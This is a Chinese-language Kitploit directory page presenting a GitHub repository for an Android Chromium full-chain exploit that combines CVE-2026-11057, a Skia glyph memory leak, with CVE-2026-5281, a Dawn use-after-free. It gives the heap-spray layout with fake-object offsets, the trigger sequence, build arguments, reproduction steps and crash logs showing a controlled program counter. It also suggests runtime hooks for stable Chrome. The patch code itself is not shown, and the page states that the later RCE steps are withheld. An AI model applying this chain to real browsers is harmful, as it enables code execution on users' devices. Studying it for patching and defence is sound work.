Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-5281-CVE-2026-11057-fullchain — Android Chromium 全链路漏洞利用,结合 CVE-2026-11057 信息泄露与 CVE-2026-5281 释放后使用(use-after-free),实现 vtable 劫持与任意代码执行。 | Kitploit
工具/GitHubGitHub/jaf0rk/cve-2026-5281-cve-2026-11057-fullchain
Android安全漏洞利用框架漏洞分析漏洞利用Web应用程序漏洞利用移动安全二进制利用
GitHubjaf0rk/cve-2026-5281-cve-2026-11057-fullchain

CVE-2026-5281-CVE-2026-11057-fullchain

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Android Chromium 全链路漏洞利用,结合 CVE-2026-11057 信息泄露与 CVE-2026-5281 释放后使用(use-after-free),实现 vtable 劫持与任意代码执行。

查看仓库
12天前尚未审核

CVE-2026-5281+CVE-2026-11057 Android 全链路利用

设备

Pixel 7 Android 16 ARM64

Chromium 版本

root@kitploit:~
commit 994c846bbd7a35241ba7c08158c13d66412a6993 (HEAD -> 146.0.7680.111, tag: 146.0.7680.111)
Author: Roger McFarlane <[email protected]>
Date:   Mon Mar 9 12:48:07 2026 -0700

描述

利用方法

本仓库将 CVE-2026-11057(Skia 未初始化字形图像内存)与 CVE-2026-5281(Dawn wire server DeviceInfo 释放后使用)组合成一条完整链路。所有修改均在渲染器侧;GPU 进程代码保持不变:

  1. 信息泄露(CVE-2026-11057) — 通过 canvas 文本渲染触发未初始化的字形图像缓冲区,从 GPU 进程堆中读回指针,通过算术运行验证它们,推导出 PartitionAlloc 池基址,并计算伪造 Server 目标 M = POOL + 0x202A08000(校准偏移)。

  2. CC 喷射 — createBuffer(label="CCM:<m>:<n>") 触发注入 3000 个不完整的 ChunkedCommand(10KB 桶,remainingSize=1,在 wire server 的 mChunkedCommands 中保持存活)。载荷填充 M 周围区域,为 Android arm64 布局伪造 Server:MutexProtected vptr 位于 +0xB20,ChunkedCommandSerializer 位于 +0xB50/+0xB58,伪造的 CommandSerializer/vtable 位于 +0xC00/+0xD00。

  3. 5281 触发 + 占用 — queue.writeBuffer(buffer, 0x414141, ...) 首先调用 Unregister(Device) 释放 16 字节的 DeviceInfo,然后注入一个 16 字节的占用 ChunkedCommand 来回收该槽位并将 info->server 覆盖为 M,最后通过越界偏移触发验证错误。

  4. 悬空回调 → vtable 劫持 — 未捕获错误回调解引用 info->server = M(伪造 Server):零化的互斥锁通过检查,执行到达 OnUncapturedError → SerializeCommand,相对 vtable 间接调用命中我们的伪造 vtable,得到 pc = fake_vtable + 受控 int32 偏移,以 pc = 0x7641414141 演示。

注意:Android arm64 Chromium 使用相对 vtable(-fexperimental-relative-c++-abi-vtables);vtable 条目是 32 位相对偏移而非绝对函数指针,因此 PoC 在 vtable 劫持点使用受控的 int32 偏移作为标记。

在测试设备上,完整链路以接近 100% 的成功率到达 vtable 劫持崩溃;泄露阶段偶尔可能需要多次自动重新加载才能成功。

文件角色

  • SkStrike.cpp.patch — CVE-2026-11057 泄露触发。FlattenGlyphsByType() 重写 strike 载荷,使 GPU 进程创建 fImage == nullptr 的 SkGlyph,最终读取未初始化的图像缓冲区以泄露堆指针。
  • Device.cpp.patch — Dawn wire 客户端 CC 喷射。APICreateBuffer() 解析 CCM: 标签,构建 Android arm64 伪造 Server 载荷,并注入 N 个在 GPU 进程中保持存活的不完整 ChunkedCommand。
  • ApiProcs.cpp.patch — CVE-2026-5281 触发 + 占用。在 QueueWriteBuffer 的魔术偏移 0x414141 处,调用 Unregister(Device) 释放 DeviceInfo,注入 16 字节 ChunkedCommand 回收该槽位并设置 info->server = M,然后通过越界偏移触发悬空回调。
  • exploit.html — 页面编排:泄露原语(groom/draw/readCell/verifyRuns/derivePoolBase)、CC 喷射,以及独立的 触发;失败时清理喷射状态并重新加载,使各阶段互不干扰。

披露范围

此 ExP 仅披露到 vtable 劫持 步骤(受控间接调用目标,pc = base+0x41414141)。从受控跳转往后的步骤以及 RCE 实现均保密,不包含在本仓库中。

构建 args.gn

root@kitploit:~
# Set build arguments here. See `gn help buildargs`.
is_official_build = true
is_debug = false
symbol_level = 0
v8_symbol_level = 0
blink_symbol_level = 0
is_component_build = false  
proprietary_codecs = true   
ffmpeg_branding = "Chrome"  
dcheck_always_on =false
optimize_webui = true
android_static_analysis = "off"
target_os = "android"
target_cpu = "arm64"

# Disable PartitionAllocEventuallyZeroFreedMemory
disable_fieldtrial_testing_config = true

treat_warnings_as_errors = false

复现步骤

  1. cd third_party/dawn
  2. git apply ApiProcs.cpp.patch
  3. git apply Device.cpp.patch
  4. cd ../skia
  5. git apply SkStrike.cpp.patch
  6. 构建 chromium
  7. 在 Android 设备上打开 Chrome 并执行 exploit.html
  8. 在 PC 上执行 adb logcat | grep DEBUG

注意

  1. 小心 PartitionAllocEventuallyZeroFreedMemory 陷阱。启用后,它会最终将已释放的内存清零。 该功能默认禁用。在官方 Stable 版本中,它由 Google 的 Finch(服务端字段试验)控制,Google 通常不会为普通用户启用它。 然而,它在本地/非官方构建以及官方 Dev/Canary 渠道中经常被启用(尤其是当字段试验测试配置处于活动状态时)。这是在针对非 Stable 版本开发或测试漏洞时常见的陷阱。
  2. 通过 127.0.0.1 回环地址访问 exploit.html。否则 HTTP 将被视为不受信任,WebGPU 将无法工作

崩溃栈

当前漏洞利用栈:

root@kitploit:~
~$ adb logcat | grep DEBUG
06-11 20:51:46.100 11269 11269 F DEBUG   : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
06-11 20:51:46.100 11269 11269 F DEBUG   : Build fingerprint: '[REDACTED]'
06-11 20:51:46.100 11269 11269 F DEBUG   : Revision: 'MP1.0'
06-11 20:51:46.100 11269 11269 F DEBUG   : ABI: 'arm64'
06-11 20:51:46.100 11269 11269 F DEBUG   : Timestamp: 2025-06-11 20:51:45.949325765+0800
06-11 20:51:46.100 11269 11269 F DEBUG   : Process uptime: 3s
06-11 20:51:46.100 11269 11269 F DEBUG   : Cmdline: org.chromium.chrome:privileged_process0
06-11 20:51:46.100 11269 11269 F DEBUG   : pid: 11188, tid: 11211, name: CrGpuMain  >>> org.chromium.chrome:privileged_process0 <<<
06-11 20:51:46.100 11269 11269 F DEBUG   : uid: 10309
06-11 20:51:46.100 11269 11269 F DEBUG   : tagged_addr_ctrl: 0000000000000001 (PR_TAGGED_ADDR_ENABLE)
06-11 20:51:46.100 11269 11269 F DEBUG   : signal 7 (SIGBUS), code 1 (BUS_ADRALN), fault addr 0x0000007641414141
06-11 20:51:46.100 11269 11269 F DEBUG   :     x0  0000007602a08b20  x1  0000007b272cd808  x2  0000000000000002  x3  00000076000f5c40
06-11 20:51:46.100 11269 11269 F DEBUG   :     x4  00000000000000b1  x5  000000760148b520  x6  0000000001414d4c  x7  0000007e7db19004
06-11 20:51:46.100 11269 11269 F DEBUG   :     x8  0000007b272cd790  x9  0000007641414141  x10 0000000000000000  x11 0000000000000001
06-11 20:51:46.100 11269 11269 F DEBUG   :     x12 0000000000000000  x13 0000000000000002  x14 0000007e7d733040  x15 0000000000000000
06-11 20:51:46.100 11269 11269 F DEBUG   :     x16 0000007b230ada10  x17 0000007e66d55520  x18 0000007b25fd8000  x19 0000007602a08000
06-11 20:51:46.100 11269 11269 F DEBUG   :     x20 00000000000000b1  x21 00000076000f5c40  x22 0000000000000002  x23 0000007b272cd808
06-11 20:51:46.100 11269 11269 F DEBUG   :     x24 0000007602a08000  x25 0000007b230e7000  x26 0000007b1897c2c6  x27 0000000000000006
06-11 20:51:46.100 11269 11269 F DEBUG   :     x28 0000007b22fa7728  x29 0000007b272cd7c0
06-11 20:51:46.100 11269 11269 F DEBUG   :     lr  0000007b20309184  sp  0000007b272cd770  pc  0000007641414141  pst 0000000060001000
06-11 20:51:46.100 11269 11269 F DEBUG   : 36 total frames
06-11 20:51:46.100 11269 11269 F DEBUG   : backtrace:
06-11 20:51:46.100 11269 11269 F DEBUG   :       #00 pc 000000003dd8c141  [anon:partition_alloc]
06-11 20:51:46.100 11269 11269 F DEBUG   :       #01 pc 00000000084ac180  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #02 pc 00000000084ab1fc  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #03 pc 0000000002a1988c  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #04 pc 0000000002a36b4c  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #05 pc 00000000029de990  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #06 pc 00000000084ae164  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #07 pc 00000000084956b8  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #08 pc 0000000008dd61f0  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #09 pc 0000000008dd6300  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #10 pc 0000000008dd3dd0  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #11 pc 00000000065fe184  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #12 pc 00000000065fd1dc  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #13 pc 00000000065faf6c  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #14 pc 00000000065fac54  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #15 pc 0000000005a63054  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #16 pc 00000000065ff294  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #17 pc 000000000547e288  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #18 pc 00000000058de7ec  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #19 pc 0000000005d66b70  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #20 pc 000000000633da58  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #21 pc 00000000063431e8  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #22 pc 0000000007a2eb60  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #23 pc 0000000007a2e730  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #24 pc 0000000007a2dd14  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #25 pc 0000000007a2da24  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #26 pc 000000000033f500  /apex/com.android.art/lib64/libart.so (art_quick_generic_jni_trampoline+144) (BuildId: b229f9d1b6196afaae086f29f029f907)
06-11 20:51:46.100 11269 11269 F DEBUG   :       #27 pc 0000000000689588  /apex/com.android.art/lib64/libart.so (nterp_helper+152) (BuildId: b229f9d1b6196afaae086f29f029f907)
06-11 20:51:46.100 11269 11269 F DEBUG   :       #28 pc 00000000002890ec  /data/app/.../base.apk (offset 0x1ec6000) (qf1.run+560)
06-11 20:51:46.100 11269 11269 F DEBUG   :       #29 pc 00000000000a94f0  /system/framework/arm64/boot.oat (java.lang.Thread.run+64) (BuildId: f7dcc0c41d7298598dd50b6df5fbdd67cef62829)
06-11 20:51:46.100 11269 11269 F DEBUG   :       #30 pc 0000000000328194  /apex/com.android.art/lib64/libart.so (art_quick_invoke_stub+612) (BuildId: b229f9d1b6196afaae086f29f029f907)
06-11 20:51:46.100 11269 11269 F DEBUG   :       #31 pc 00000000002d9348  /apex/com.android.art/lib64/libart.so (art::ArtMethod::Invoke(art::Thread*, unsigned int*, unsigned int, art::JValue*, char const*)+216) (BuildId: b229f9d1b6196afaae086f29f029f907)
06-11 20:51:46.100 11269 11269 F DEBUG   :       #32 pc 0000000000421028  /apex/com.android.art/lib64/libart.so (art::Thread::CreateCallback(void*)+932) (BuildId: b229f9d1b6196afaae086f29f029f907)
06-11 20:51:46.100 11269 11269 F DEBUG   :       #33 pc 0000000000420c74  /apex/com.android.art/lib64/libart.so (art::Thread::CreateCallbackWithUffdGc(void*)+8) (BuildId: b229f9d1b6196afaae086f29f029f907)
06-11 20:51:46.100 11269 11269 F DEBUG   :       #34 pc 0000000000080e6c  /apex/com.android.runtime/lib64/bionic/libc.so (__pthread_start(void*)+236) (BuildId: 56d1c072e220860e239a4a1824a78f97)
06-11 20:51:46.100 11269 11269 F DEBUG   :       #35 pc 00000000000736d0  /apex/com.android.runtime/lib64/bionic/libc.so (__start_thread+64) (BuildId: 56d1c072e220860e239a4a1824a78f97)

完整漏洞利用栈(跳转到任意 64 位地址):

root@kitploit:~
~$ adb logcat | grep DEBUG
06-12 01:02:33.858 17983 17983 F DEBUG   : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
06-12 01:02:33.858 17983 17983 F DEBUG   : Build fingerprint: 'google/panther/panther:16/.../release-keys'
06-12 01:02:33.858 17983 17983 F DEBUG   : Revision: 'MP1.0'
06-12 01:02:33.858 17983 17983 F DEBUG   : ABI: 'arm64'
06-12 01:02:33.858 17983 17983 F DEBUG   : Timestamp: 2025-06-12 01:02:33.719427351+0800
06-12 01:02:33.858 17983 17983 F DEBUG   : Process uptime: 151s
06-12 01:02:33.858 17983 17983 F DEBUG   : Cmdline: org.chromium.chrome:privileged_process2
06-12 01:02:33.858 17983 17983 F DEBUG   : pid: 17875, tid: 17891, name: CrGpuMain  >>> org.chromium.chrome:privileged_process2 <<<
06-12 01:02:33.858 17983 17983 F DEBUG   : uid: 10309
06-12 01:02:33.858 17983 17983 F DEBUG   : tagged_addr_ctrl: 0000000000000001 (PR_TAGGED_ADDR_ENABLE)
06-12 01:02:33.858 17983 17983 F DEBUG   : signal 7 (SIGBUS), code 1 (BUS_ADRALN), fault addr 0x0041414141414141
06-12 01:02:33.858 17983 17983 F DEBUG   :     x0  0000007602a08b68  x1  0000007b272cd808  x2  0000000000000002  x3  00000076000c9f40
06-12 01:02:33.858 17983 17983 F DEBUG   :     x4  00000000000000b1  x5  0000007600024c40  x6  0000000001414d4c  x7  0000007e7db19004
06-12 01:02:33.858 17983 17983 F DEBUG   :     x8  4141414141414141  x9  0000007b76d934a0  x10 0000000000000000  x11 0000000000000001
06-12 01:02:33.858 17983 17983 F DEBUG   :     x12 0000000000000000  x13 0000000000000002  x14 0000007e7d733040  x15 0000000000000000
06-12 01:02:33.858 17983 17983 F DEBUG   :     x16 0000007b24f19ab0  x17 0000007e66d55520  x18 0000007b266dc000  x19 0000007602a08000
06-12 01:02:33.858 17983 17983 F DEBUG   :     x20 00000000000000b1  x21 00000076000c9f40  x22 0000000000000002  x23 0000007b272cd808
06-12 01:02:33.858 17983 17983 F DEBUG   :     x24 0000007602a08000  x25 0000007b24f53000  x26 0000007b1a7e82c6  x27 0000000000000006
06-12 01:02:33.858 17983 17983 F DEBUG   :     x28 0000007b24e137c8  x29 0000007b272cd7c0
06-12 01:02:33.858 17983 17983 F DEBUG   :     lr  0000007b76d934b0  sp  0000007b272cd770  pc  0041414141414141  pst 0000000060001000
06-12 01:02:33.858 17983 17983 F DEBUG   : 3 total frames
06-12 01:02:33.858 17983 17983 F DEBUG   : backtrace:
06-12 01:02:33.858 17983 17983 F DEBUG   :       #00 pc 0041414141414141  <unknown>
06-12 01:02:33.858 17983 17983 F DEBUG   :       #01 pc 0000000000b0f4ac  /.....
06-12 01:02:33.858 17983 17983 F DEBUG   :       #02 pc 00000000001cdffc  [anon:partition_alloc]

在 Chrome 稳定版中

在 Chromium 的稳定版本中,直接应用补丁可能不可行或不可取。因此,你可以将补丁逻辑重写为钩子函数,在运行时拦截并修改相关的处理函数。

下载工具
exploit5281()